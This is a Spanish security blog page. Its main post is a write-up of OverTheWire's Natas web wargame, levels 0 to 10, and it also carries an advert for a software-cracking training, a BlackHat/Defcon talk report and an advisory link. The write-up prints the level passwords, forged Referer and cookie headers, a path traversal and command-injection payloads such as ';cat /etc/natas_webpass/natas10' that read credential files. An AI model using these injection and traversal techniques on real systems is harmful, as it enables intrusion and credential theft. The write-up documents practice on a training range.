Mostrando entradas con la etiqueta Security. Mostrar todas las entradas
Mostrando entradas con la etiqueta Security. Mostrar todas las entradas

miércoles, 6 de marzo de 2013

natas wargame - Niveles 0-10

Quienes me conocen saben que no soy un gran amante de los retos web. Sin embargo, hace unos días me encontré con un sitio en el cual hay varios wargames y entre ellos hay uno dedicado a retos web. Comencé a jugarlo y realmente terminó gustandome.

La página en cuestión es http://www.overthewire.org/wargames/ y el wargame que estoy jugando es Natas.

Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)

 natas0

http://natas0.natas.labs.overthewire.org

Te dan un usr y pwd: natas0/natas0

En la página hay un mensaje que dice: "You can find the password for the next level on this page."

Mirando el source de la página se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
</div>
</body>
</html>
El password para el próximo nivel puede verse en el mismo source de la página: 9hSaVoey44Puz0fbWlHtZh5jTooLVplC

Vale aclarar que los nombres de usuario para todos los niveles son "natasX" donde X es un número incremental desde 0 a n.

natas1

En la página de este nivel se puede ver un mensaje que dice: "You can find the password for the next level on this page, but rightclicking has been blocked!"

El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo, noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
</div>
</body>
</html>

El password para el siguiente nivel es: aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl

natas2

En esta página tenemos un mensaje como este: "There is nothing on this page"

Si miramos el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

Tenemos un tag de "img" que está referenciando un archivo llamado pixel.png en el directorio "files". Si accedemos a:

http://natas2.natas.labs.overthewire.org/files

podemos ver un archivo llamado "users.txt" que tiene el siguiente contenido:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH

El password para el siguiente nivel es: lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb

natas3

La página tiene un mensaje como este: "There is nothing on this page"

Mirando el source de la misma se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

Ese mensaje da la idea de que goole no va a poder crawlear alguna página del site que se indique en el robots.txt, tal cual dice la doc de Google:

https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17

Si accedemos a http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:

User-agent: *
Disallow: /s3cr3t/

La directiva "Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "s3cr3t".

Si ingresamos a http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "users.txt" con el siguiente contenido:

natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz

natas4

Al ingresar a la página se puede observar el siguiente mensaje:

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Al darle a "refresh page", se puede ver un mensaje similar:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:

http://natas5.natas.labs.overthewire.org/

La manera de controlar esto es mediante el header "Referer" en el request HTTP. Utilizando, por ejemplo, LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "refresh page":

http://natas4.natas.labs.overthewire.org/index.php

GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Ojh5d1BMRFVCMnlZMnVqRm53R1VkV1dwOE1UNHlacnF6
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:01:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 276
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
----------------------------------------------------------

El "Referer" en el GET a "index.php" tiene el siguiente contenido: http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo, TamperData.

Una vez modificado el referer podemos ver el siguiente contenido en la página:

Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z

natas5

Al entrar a la página, tenemos un mensaje que dice algo como:

"Access disallowed. You are not logged in"

Mirando el source de la página no se ve nada interesante:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>

Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:

GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OlYwcDEycXozMEhFVVUyMmR6N0NaR0hpRmszVmRQQTla
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:07:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Set-Cookie: loggedin=0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 187
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------

Se puede ver que esta utilizando el header "Authorization" con "Basic" y además el header "Cookie" tiene el parámetro "loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.

El tampereado efectivamente funciona y se puede observar el siguiente mensaje:

Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU

natas6

En este nivel, tenemos un form que nos permite ingresar algo y un botón de submit. El source code de la página es el siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas6</h1>
<div id="content">

<?
include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }

?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el POST en el parametro "secret" sea igual al contenido de la variable "$secret". Al inicio del script se puede ver la siguiente línea:

include "includes/secret.inc";

Esto hace un include en el código del file "secret.inc", es como el #define de C. Si accedemos a:

natas6.natas.labs.overthewire.org/includes/secret.inc

Podemos ver lo siguiente:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Al ingresar el valor de "$secret" en el form y darle al botón "submit", obtenemos el flag para el siguiente nivel:

Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU

natas7

El ingresar a la página del reto solo podemos  ver dos links a "Home" y "About". Mirando el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un path traversal existen en el parámetro "page".

Si probamos algo del estilo:

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../etc/natas_webpass/natas8

tendremos el siguiente resultado:

maabkdexUStb6JJXUqmBx7Re8M61cksn

natas8

En la página podemos ver un form que nos pide ingresar un "secret", un botón para submitear el valor y un link para ver el source code de la página:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:

1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.

Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:

1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.

2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="

3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq

Al ingresar dicho valor en el form obtenemos el siguiente resultado:

Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT

natas9

Al ingresar a este nivel, vemos un form que dice lo siguiente: "Find words containing:" y permite que ingresemos algo. Al mirar el source code de la página vemos lo siguiente:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que toma el contenido del parámetro "needle" y se lo asigna a la variable "$key". Luego, comprueba que dicha variable no sea nula y en caso afirmativo ejecuta un passthru que según http://php.net/manual/es/function.passthru.php es parecida a exec(), es decir que podemos ejecutar un comando en el server.

En este caso, el comando ejecutado en el passthru es "grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a commando injection. Por ejemplo, podriamos ejecutar un "ls -la", simplemente colocando ";ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:

-rw-r----- 1 natas9 natas9 460878 Sep 18 14:05 dictionary.txt

Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en /etc/natas_webpass/natas8 entonces probé algo como: ";cat /etc/natas_webpass/natas10" y este fue el resultado:

s09byvi8880wqhbnonMFMW8byCojm8eA

African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
[...]

natas10

Este reto es muy similar al anterior salvo que en este caso se filtran algunos caracteres:
 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que se utiliza preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "needle" nos dirá "Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".

Luego de algunas pruebas no pude ejecutar algo como "cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "telefonos_de_travestis.txt":
Telefonos de travas
--

cacho = 123456789
la giovanni = 98989898
zulma = 86868686

Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
nriva@fastix:~/Desktop/wargames/natas$ grep "cacho" telefonos_de_travestis.txt
cacho = 123456789
En este caso, se utiliza el parámetro "i" para ignorar el case, es decir, es case insensitive.

Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.

Por ejemplo, podríamos ejecutar el siguiente comando: "ls -la | grep -i .txt" para matchear todos los archivos con .txt:

nriva@fastix:~/Desktop/wargames/natas$ ls -la | grep -i .txt
-rw-rw-r-- 1 nriva nriva 16261 Mar  1 22:10 natas_notas.txt
-rw-rw-r-- 1 nriva nriva 15263 Mar  1 22:03 natas_notas.txt~
-rw-rw-r-- 1 nriva nriva    82 Mar  1 22:08 telefonos_de_travestis.txt
Ahora, haciendo algunas pruebas, me encontré con que solo con el punto ".", el grep te matchea todo el contenido de un file, por ejemplo, ejecutando el siguiente comando "nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt" me arroja el siguiente resultado:
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
nriva@fastix:~/Desktop/wargames/natas$
Por lo tanto, podríamos probar de ejecutar algo como ". /etc/natas_webpass/natas11" y ver cual es el output:
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms
[...]
Bingo!. Vemos que nos matchea todo el contenido de los files que hay en "etc/natas_webpass/natas11" además del dictionary.txt.

Este costo un poco más pero al final salió.

Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.

Hasta pronto.

viernes, 24 de agosto de 2012

Ekoparty Training: Defeating software protections

Hola!,

este post es para hacerles saber que este año 2012 estaremos nuevamente con Ricardo Narvaja, Ariel Coronel y quien escribe, dictando el training de "Defeating Software Protections" en la Ekoparty 2012.

Les dejo un poco de información al respecto:

CONTENIDO:
Cuando una empresa o un programador necesita distribuir su Software, Shareware, Trial o Demo, debe optar por algún mecanismo para proteger la propiedad intelectual de los ojos curiosos de los crackers.

Entonces...¿Qué mejor que un curso de cracking para estar al tanto de las técnicas mas utilizadas a la hora de romper protecciones de software? El conocimiento de las técnicas más comunes de que desprotegen el software, brinda la posibilidad de desarrollar nuevos mecanismos para protegerlo.

El training comenzará con una introducción de assembler(x86) y las herramientas generalmente empleadas, para luego continuar con la descripción del formato ejecutable utilizado en Windows. Se mostrarán diversas técnicas para obtener un serial en memoria, o métodos para patchear instrucciones que permiten desviar la ejecución del programa, con el fin de evitar que se ejecuten funciones no deseadas. La primera jornada finalizará con la creación de un patcher el cual facilita, por ejemplo, la distribución de los cambios hechos en un ejecutable. Durante el transcurso del segundo día se intensificará lo aprendido, aplicándolo a diferentes lenguajes de programación. Se expondrán las técnicas para atacar aplicaciones .NET y Java entre otros.

Se explicará el funcionamiento de las protecciones comerciales ( packers ) y las diferentes formas de atacarlas. También se demostrará como modificar los programas protegidos sin necesidad de desempacar los binarios ( inline patching ).

Los participantes aplicarán los conceptos aprendidos en la resolución de ejercicios creados especialmente para el Training versión EKOparty. Se entregará un manual que contiene más de 300 páginas ilustrativas + un CD con el contenido completo de todo el curso, incluyendo sus ejercicios, herramientas y la foto de Ricardo Narvaja.

Día 1:
* Conceptos básicos y herramientas
* PE structure
* String references
* Serial fishing
* API cracking
* Patchers
* Loaders

Día 2:
* .NET cracking
* Java Cracking
* Unpacking
* OEP finding
* Stolen bytes recovering
* IAT rebuilding
* Ollyscripting
* Inline patching
* Antidumping
* Antidebugging
Es un training de 2 días (16 hs), 17 y 18 de Septiembre, y tiene un costo de ARS $4.000 (IVA incluido).

Los esperamos!.

defeating software protections from ekoparty on Vimeo.


lunes, 5 de septiembre de 2011

BlackHat 2011 USA - Defcon 19

















Hace un par de semanas tuvieron lugar en Las Vegas dos de las conferencias mundiales mas importantes en lo que a seguridad informática se refiere, BlackHat y Defcon.

Tuve la suerte de estar este año allí y poder ver de que se trata. Lamentablemente no fui como speaker (no faltará oportunidad) pero de todas maneras fue una experiencia increíble que sin dudas quiero volver a repetir.

Este post es para contarles un poco sobre algunas de las charlas a las que asistí. No quiero discutir en detalle cada una de las charlas sino comentarles un poco de que trató cada una. Para tener más información al respecto pueden ver cada uno de los papers y/o videos de los mismos.

Vamos a hablar primeramente de las charlas de BH.

Constant Insecurity: Things you didn't know about (PE) Portable Executable file format (Mario Vuksan + Tomislav Pericin): Esta fue la primera de las charlas a las que asistí. Los que me conocen saben que el trabajo de la gente de ReversingLabs me agrada mucho y como no podía ser de otra manera esta charla no podía perdermela. Lo primero que se hizo fue dar un breve repaso por la estructura PE y luego se contrasto lo que dice el PECOFF con lo que realmente hace el loader de Windows al cargar un ejecutable. Se mostraron los diferentes tipos de malformaciones que existen en la estructura de un ejecutable que según la documentación oficial de Miscrosoft no pasarían como archivos válidos, sin embargo los archivos se ejecutaban perfectamente.

Muchas de las malformaciones en archivos ejecutables no son contemplados por las herramientas que hoy en día se utilizan para realizar RCE. Por lo tanto, es interesante para cualquier persona sean malware analysts o virus writters, desarrolladores de packers o crackers, etc; estar al tanto de estás cosas para no fallar en su análisis o desarrollo, respectivamente.

Aquí pueden encontrar el paper y los slides de la charla.


Attacking Clientside JIT Compilers (Chris Rohlf + Yan Ivnitskiy): Esta charla fue interesante hasta un punto dado. Por qué? pues porque en un punto era necesario tener una idea clara sobre JIT compilers, cosa que yo no tengo :P.

La charla se baso en dos ejes, los JITs de Mozilla y el de LLVM. Mostraron como funciona cada uno de ellos y sus diferencias. Esta parte estuvo un poco densa para mi gusto pero tal vez haya sido por la falta de conocimiento sobre el tema.

Además, hablaron sobre varias cosas más como vulnerabilidades en los JIT compilers y sobre técnicas de explotación como JIT Spray, JIT Feng Shui (una variación del Heap Feng Shui) y especialmente sobre las herramientas que desarrollaron y utilizaron en su research.

Para el que quiera saber un poco más al respecto, puede consultar el paper y los slides aquí.

Windows Hooks of Death: Kernel Attacks Through User-Mode Callbacks (Tarjei Mandt): Esta era una de las charlas obligadas para todas aquellas personas a las cuales nos apasiona el mundo de ring0, los kernels y las cosas a muy bajo nivel.

En esta charla se habló sobre las decenas de vulnerabilidades que Tarjei encontró en el kernel de Windows, más precisamente en win32k.sys cuando maneja la transición de un callback desde user-mode a kernel-mode. Cada una de las vulnerabilidades fue clasificada en una categoría específica, habló de cada una de esas categorías, donde fue que estaba la falla y como se podía hacer para explotarla aunque primeramente nos dió un paseo por win32k y varias estructuras utiilzadas por el mismo. Finalmente, hizo dos demos en las cuales nos enseñó  como logró explotar de manera reliable dos de esos bugs. Una charla que no tuvo desperdicios.

Aquí pueden encontrar los slides y el paper de la charla.

Reverse Engineering Browser Components: Dissecting and Hacking Silverlight, HTML 5 and Flex (Shreeraj Shah): Al leer sobre que iba a tratar esta charla estaba bastante entusiasmado por asistir. Cosas que tienen que ver con la Web directamente como HTML5, Silverlight y Flex no me apasionan demasiado, sin embargo, para mi trabajo diario era una buena oportunidad de aprender algo al respecto para luego aplicarlo.

Shreeraj contó sobre el uso de las diferentes herramientas existentes hoy en día para atacar cada una de las tecnologías mencionadas. Al menos yo, esperaba ver un IDA abierto en algun momento con código, contando algo más que presionar un botón para poder realizar determinada tarea.

De todas maneras, al que le interese puede mirar los slides + paper.

Playing In The Reader X Sandbox (Paul Sabanal + Mark Yason):Esta charla estuvo buena salvo por el final donde se hicieron los piolas. Antes les cuento más o menos de que iba la charla.

Como se podrán imaginar, en la charla se discutía sobre el sandbox implementado en Adobe Reader X. Primero hablaron de la relación entre este sandbox y el de Chromium (sí, parece que está basado en el sandbox de Chromium), las herramientas que utilizaron para poder reversearla, sobre la arquitectura y mecanismos de restricciones que posee y lo más importante para un Exploit Writter, que se puede hacer y que nó, es decir, limitaciones y debilidades del sandbox.

Como les dije al principio, todo iba bien hasta el final donde hicieron dos demos. La primera fue sobre una vulnerabilidad conocida publicamente (CVE-2011-0609). En la segunda demo, aparentemente, bypassearon el sandbox con un bug que no es público hasta el momento y del cual no se conocen detalles. Esto último fue algo que no me pareció que le sumara valor a la charla, simplemente, a mi manera de ver las cosas, lo mostraron como una manera de decir: "Miren que piolas que somos, tenemos un 0-day y ustedes no". Porque además fue algo como: "Ahora vamos a  hacer la segunda demo en la cual vamos a bypassear el sandbox.", "OK, demo terminada", "No más preguntas". WTF?.

En fin, el que quiera puede mirar los slides y el paper.

Algunas de las charlas de Defcon 19 a las que asistí fueron:

Chip & PIN is Definitely Broken (Andrea Barisani + Adam Laurie + Zac Franken + Daniele Bianco): Esta charla fue otra de esas en las que si no estás un poco al tanto de las cosas te perdes algunas otras :P pero en términos generales, hablaron sobre estas tarjetas que pueden ser utilizadas como débito y crédito gracias a un chip que tienen y les permite hacer este tipo de transacciones. En Argentina no conozco a nadie todavía que tenga una de estas, de hecho creo que en nuestro país aún no existe este sistema sino que tenemos que contar con dos tarjetas, una de débito y otra de crédito.

La charla se centraba en los mecanismos de protección y validación que se tienen para este tipo de tecnología y como un atacante podía clonar y utilizar una tarjeta robada.

Acá pueden encontrar el paper de la charla.


Economics of Password Cracking in the GPU Era (Robert "Hackajar" Imhoff-Dousharm): El speaker en esta charla era un troll hecho y derecho. La verdad, lo que menos importó fue la charla en sí, podría haber estado hablando de como construir un cohete a marte que a nadie le hubiera interesado. Puedo resumir esta charla en dos cosas: Troll y pendejas golpeandose con almohadas. Pero antes de seguir, les voy a comentar un poco de que iba la cosa.

La charla fue meramente informativa. Habló sobre que hardware y software necesitamos para crackear passwords utilizando GPUs.  Además, había una planillita que calculaba el tiempo que tardaríamos en crackear un password de x cantidad de caracteres utilizando una configuración determinada. Ah, y cual sería la mejor máquina que podríamos armar para poder crackear passwords!, lástima que salía algo de 52.000 dólares!.

Ahora sí, lo interesante de la charla fueron dos cosas:

1) En casi toda la charla se la pasó trolleando a todas aquellas empresas que tenían productos para crackear passwords y que, según su opinión, no servían para nada.

2) En un momento de la charla entraron aproximadamente 10 chicas golpeandosé con almohadas, se fueron hasta el escenario a continuar golpeandosé entre ellas y finalmente se fueron.

Fue una charla bastante atípica!.

Los slides de la charla los pueden encontrar aquí.

Como habrán podido observar, no hay nada espectacular en este post, nada técnico ni detallado en profundidad, simplemente quería compartir con ustedes mi opinión sobre cada una de las charlas a las cuales asistí. Si a alguno le gustó bien y sino ... también.

Hasta cualquier otro momento!.

lunes, 13 de diciembre de 2010

Advisory - Symantec Intel Handler Service Remote DoS


Hola!,

quería dejarles el ultimo advisory de una vulnerabilidad que descubrí hace ya un tiempo investigando otro bug.

El análisis y una descripción tenica la pueden encontrar acá: Symantec Intel Handler Service Remote DoS

Saludos.